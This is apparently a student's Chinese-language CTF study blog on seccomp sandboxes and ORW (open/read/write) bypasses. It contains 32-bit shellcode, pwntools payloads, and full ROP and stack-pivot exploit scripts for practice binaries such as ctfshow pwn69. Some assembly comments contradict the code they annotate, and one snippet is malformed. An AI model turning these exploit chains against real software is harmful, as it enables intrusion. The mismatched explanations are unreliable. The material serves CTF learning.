sandbox专题学习

sandbox专题学习

刚刚学完栈迁移📚,发现 sandbox 🧱经常和栈迁移结合,于是就仔细学一下 sandbox 🤓!

💻 Sandbox绕过好像很多,也复杂 😤,这里只好记录一下ORW的学习 📝

orw

什么时候用orw

当程序开启沙箱保护,禁用一些系统调用,禁用execve等,使得我们不能通过使用system和execve来getshell。此时我们就要用到orw来解决这些问题。

orw是什么

orw就是open,read,write这三个函数的简写,打开flag,读取flag,写出flag通过这三步来得到flag。

sandbox的开启

第一种是利用prctl(),第二种是利用seccomp的库函数

(1) prctl():

在 Linux 系统编程中,prctl 函数结合 PR_SET_SECCOMPPR_SET_NO_NEW_PRIVS 标志可用于开启 seccomp(Secure Computing)沙箱,这是一种限制进程系统调用(syscall)的安全机制。

PR_SET_NO_NEW_PRIVS:

1
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); #禁止进程及其子进程通过 execve 等获得新权限

PR_SET_SECCOMP:

严格模式SECCOMP_MODE_STRICT:仅允许 read, write, _exit, sigreturn 四个系统调用。

1
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);

过滤器模式(SECCOMP_MODE_FILTER):自定义允许/拒绝的系统调用列表(通过 BPF 规则)。

1
2
struct sock_fprog filter = { ... };  // 定义 BPF 过滤器
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filter);

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct sock_filter filter[] = {
// 检查系统调用号是否在允许列表
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1), // 允许 openat
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 0, 1), // 允许 read
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), // 拒绝其他
};
struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = filter,
};
//SECCOMP_RET_ALLOW:允许系统调用。
//SECCOMP_RET_KILL:立即终止进程。

(2)seccomp的库函数:例如libseccomp 库

例子:仅允许进程执行 exit_groupreadwrite 系统调用:

1
2
3
4
5
6
#include <seccomp.h>
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); // 默认拒绝所有
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_load(ctx); // 加载到内核

了解完这些,就开始学习如何解决它了(orw)

seccomp-tools查看沙箱

seccomp-tools可以用来查看沙箱的情况

安装:

1
2
3
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
seccomp-tools dump ./elf #elf换成你自己的文件名

1

可以看到那些函数是可以用的。

open、read、write函数的了解

open()函数:

函数原型

1
2
3
4
5
#include <fcntl.h>
#include <unistd.h>

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
  1. pathname

    • 文件路径名(字符串),例如:"flag""/tmp/test.txt"
  2. flags

    • 打开文件的方式,比如只读、只写、读写等。
    • 可以组合多个标志(使用按位或 | 操作符)。
    标志常量 十六进制值 含义
    O_RDONLY 0x0 只读方式打开文件
    O_WRONLY 0x1 只写方式打开文件
    O_RDWR 0x2 读写方式打开文件

    系统调用号:

    • sys_open 的系统调用号是 5(十进制),即 0x5
    关键点 内容
    函数名 open()
    功能 打开或创建文件
    返回值 文件描述符(成功)或 -1(失败)
    常用 flag O_RDONLY, O_WRONLY, O_RDWR, O_CREAT, O_TRUNC, O_APPEND
    mode 参数 用于指定新文件权限,如 0644
    系统调用号 5(Linux x86)
    寄存器传参 eax=5, ebx=filename, ecx=flags, edx=mode

read()函数:

函数原型:

1
2
3
#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);
参数名 类型 含义
fd int 文件描述符(由 open() 或其他方式获得)
buf void* 用户空间的缓冲区地址,用来保存读取的数据
count size_t 要读取的最大字节数

系统调用号:

  • sys_read 的系统调用号是 3(十进制),即 0x3
1
2
3
4
5
6
寄存器传参方式(Linux x86):
寄存器 对应参数
eax 系统调用号:3
ebx 文件描述符 fd
ecx 缓冲区地址 buf
edx 要读取的字节数 count

write()函数:

函数原型:

1
2
3
#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);
参数名 类型 含义
fd int 文件描述符(由 open() 或其他方式获得)
buf const void* 用户空间的缓冲区地址,包含要写入的数据
count size_t 要写入的最大字节数

系统调用号:

  • sys_write 的系统调用号是 4(十进制),即 0x4

寄存器传参方式(Linux x86):

寄存器 对应参数
eax 系统调用号:4
ebx 文件描述符 fd
ecx 缓冲区地址 buf
edx 要写入的字节数 count

做完了铺垫,现在就开始orw

shellcode绕过

首先,看看最简单的orw,在没有开启NX的条件下,可以直接写入这三个函数执行。

2

第一种直接用汇编写

1
2
3
4
#0x67616c66根据文件名改动 0x67616c66转ASCII-->flag
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')

具体解释一下这个汇编代码,根据上面对open,read,write函数的了解,汇编也就很好理解了。

1
2
3
4
5
6
7
8
#fd = open("flag", O_RDONLY);
push 0x0 ; 将0压栈,表示以只读方式打开文件(O_RDONLY)
push 0x67616c66 ; 将"flag"字符串的ASCII值压栈(注意字节顺序是反的,实际上是'flag')
mov ebx, esp ; 将栈顶指针赋值给ebx,作为文件名指针
xor ecx, ecx ; 清空ecx寄存器(第二个参数,O_RDONLY)
xor edx, edx ; 清空edx寄存器(第三个参数,权限模式,这里不需要)
mov eax, 0x5 ; 调用sys_open (系统调用号5)
int 0x80 ; 触发中断,执行系统调用
1
2
3
4
5
mov eax, 0x3           ; 调用sys_read (系统调用号3)
mov ecx, ebx ; 文件描述符(由上一步返回值在ebx中)
xor ebx, ebx ; 清空ebx,作为文件描述符0(标准输入)
mov edx, 0x100 ; 读取长度为256字节
int 0x80 ; 触发中断,执行系统调用
1
2
3
mov eax, 0x4           ; 调用sys_write (系统调用号4)
xor ebx, ebx ; 清空ebx,作为文件描述符1(标准输出)
int 0x80 ; 触发中断,执行系统调用

还可以通过传参传入flag的位置

1
2
3
4
5
6
7
8
9
#fd = open('home/pwn/flag',0) 0x804a094根据具体情况而定
s = ''' xor edx,edx; mov ecx,0; mov ebx,0x804a094; mov eax,5; int 0x80; '''

#read(fd,0x804a094,0x20)
s += ''' mov edx,0x40; mov ecx,ebx; mov ebx,eax; mov eax,3; int 0x80; '''

#write(1,0x804a094,0x20)
s += ''' mov edx,0x40; mov ebx,1; mov eax,4 int 0x80; '''
payload = asm(s)+b'/home/pwn/flag\x00'

第二种直接利用pwntools

1
2
3
4
5
payload = shellcraft.open('flag')        # Open 'flag' (fd returned in EAX)
payload += shellcraft.read(3, 0x804a090, 0x100) # Read from opened FD
payload += shellcraft.write(1, 0x804a090, 0x100) # Write to stdout (FD 1)
p.sendline(asm(payload))
#不知道为什么没打通理论上是可以的

2

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
io = process("./orw")
io.recvuntil(b'shellcode:')
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
payload = shellcode
io.send(payload)
io.interactive()
ROP绕过

例题

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
gift();
init_sandbox();
sandboxx();
return 0;
}
1
2
3
4
5
6
7
8
9
ssize_t sandboxx()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

puts("Welcome to the Sandbox Challenge");
puts("Maybe you need an open read wirte ");
printf("please input your name:");
return read(0, buf, 0x100uLL);
}
1
2
3
4
5
int gift()
{
puts("I will give you a nice little gift");
return printf("Leak: %p\n", &puts);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./sandbox")
elf=ELF("./sandbox")
libc=ELF("libc.so.6")
def bug():
gdb.attach(p)
pause()

bss=0x404020+0x800
sandboxx = 0x4013ED
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))
rdi=libc_base+0x0000000000023b6a
rsi=libc_base+0x000000000002601f
rdx_r12=libc_base+0x0000000000119431
rsp = libc_base + 0x000000000002f70a
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']

payload2=b'a'*0x10+b'a'*0x8+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx_r12)+p64(0x100)+p64(0)+p64(read_addr)+p64(rsp)+p64(bss + 8)

p.recvuntil(b"name:")
p.send(payload2)


payload =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(bss)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)

payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(read_addr)

payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(write_addr)
payload +=p64(sandboxx )


p.send(payload)
p.interactive()

江西省赛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

#from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')

#io = process("./vuln")
io = remote("",12345)

gs = '''
b *$rebase(0x19f2)
set debug-file-directory /home/zacsn/.config/cpwn/pkgs/2.31-
0ubuntu9.17/amd64/libc6-dbg_2.31-0ubuntu9.17_amd64/usr/lib/debug
set directories /home/zacsn/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/glibcsource_2.31-0ubuntu9.17_all/usr/src/glibc/glibc-2.31
'''
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
rl = lambda : io.recvline()
rn = lambda counts : io.recvn(counts)
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
#gdb.debug(elf.path,gdbscript=gs)
#gdb.attach(io,gdbscript = gs)
#gdb.attach(io)

elf = ELF("./pwn")
libc = ELF("./libc.so.6")


pop_rdi = 0x00000000004013d3
ru(b"hello sandbox!")

payload = b'a' * 0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4012f9)

sl(payload)
ru(b'\x0a')
puts_addr = u64(rn(6)+b'\x00\x00')
lg("puts_addr")
libc_addr = puts_addr - libc.sym['puts']
lg("libc_addr")
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
pop_rsi = libc_addr + 0x000000000002601f
pop_rdx = libc_addr + 0x0000000000142c92
pop_rax = libc_addr + 0x0000000000036174
syscall = libc_addr+libc.search(asm("""syscall;ret""")).__next__()
bss_addr = 0x404200

ru(b"hello sandbox!")
payload2 = b'a' * 0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x10) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
payload2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr + 0x100) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss_addr + 0x100) + p64(pop_rdx) + p64(0x30) + p64(write_addr)

#gdb.attach(io)
sl(payload2)

sleep(1)
sl(b"./flag\x00\x00")

ia()

今天先写到这✍️,以后还会接着写📖,但是明天就要开始着手学堆了🔥,不然很多比赛都打不了🏆💪。

ctfshow pwn69

1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Now you can use ORW to do");
read(0, buf, 0x38uLL);
return puts("No you don't understand I say!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

可以看到orw是可以的,所以我们要先利用read将orw读到

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./pwn')
p = remote('pwn.challenge.ctf.show','28191')

mmap = 0x123000
orw_shellcode = shellcraft.open("./ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
orw_shellcode = asm(orw_shellcode)

jmp_rsp_addr = 0x400a01
buf_shellcode = asm(shellcraft.read(0,mmap,100)) + asm("mov rax,0x123000; jmp rax")
buf_shellcode = buf_shellcode.ljust(0x28,b'\x00')
buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp")


p.recvuntil('do')
p.sendline(buf_shellcode)
p.sendline(orw_shellcode)
p.interactive()

这一部分是标准的orw

1
2
3
4
orw_shellcode = shellcraft.open("./ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
orw_shellcode = asm(orw_shellcode)

这部分我来详细解释一下

1
2
3
buf_shellcode = asm(shellcraft.read(0,mmap,100)) + asm("mov rax,0x123000; jmp rax")
buf_shellcode = buf_shellcode.ljust(0x28,b'\x00')
buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp")

asm(shellcraft.read(0,mmap,100)):这是汇编代码,用于调用read系统调用,从标准输入读取最多100字节的数据到地址0x123000。

asm(“mov rax,0x123000; jmp rax”):先将0x123000放入rax,然后jmp rax执行shellcode,为什么是sellcode呢等下再说。

p64(jmp_rsp_addr):将返回地址覆盖成jmp rsp,此时程序跳转到 rsp 指向的位置,即 asm("sub rsp, 0x30; jmp rsp")因为pop ebp后rsp

增高0x08。

asm(“sub rsp,0x30; jmp rsp”):sub rsp,0x30使得rsp减0x30到达了buf的起始位置,jmp rsp就开始执行了。

然后我来看看整个流程。

p.sendline(buf_shellcode)后,栈上

1
2
3
4
read(0,mmap,100)
buf_shellcode.ljust(0x28,b'\x00')
p64(jmp_rsp_addr) # return_addr
asm("sub rsp,0x30; jmp rsp")

有第二部分的分析我们知道rsp此时已经达到buf的起始位置开始执行read了,所以我们才有第二次send。

我们把标准的orw输入后,同理rsp又会回到起始位置开始执行orw,最终得到flag。